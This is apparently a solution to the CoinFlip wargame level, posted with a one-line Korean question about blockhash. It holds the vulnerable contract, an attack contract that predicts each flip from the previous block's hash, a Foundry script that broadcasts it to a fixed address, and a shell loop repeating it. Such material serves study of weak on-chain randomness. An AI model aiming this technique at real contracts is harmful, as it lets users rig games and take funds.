block.number를 지정해서 blockhash를 받아오는 것은 누구나 할 수 있지 않나요?
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import {Script, console} from "forge-std/Script.sol";
import {CoinFlip} from "../src/Coinflip.sol";
contract Attack {
address public target;
uint256 public constant FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor(address _target) {
target = _target;
}
function attack() public {
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool side = (coinFlip == 1);
CoinFlip(target).flip(side);
}
}
contract PoC is Script {
address public target = 0x41d9e0fB5Af91eb5FFfb7891b3d5DD6e79C0D38d;
uint256 pk = vm.envUint("PRIV_KEY");
function run() public {
vm.startBroadcast(pk);
Attack attack = new Attack(target);
attack.attack();
vm.stopBroadcast();
}
}
for i in {1..10}; do
forge script ./Counter.s.sol:PoC --rpc-url $RPC_URL --broadcast; sleep 10
done;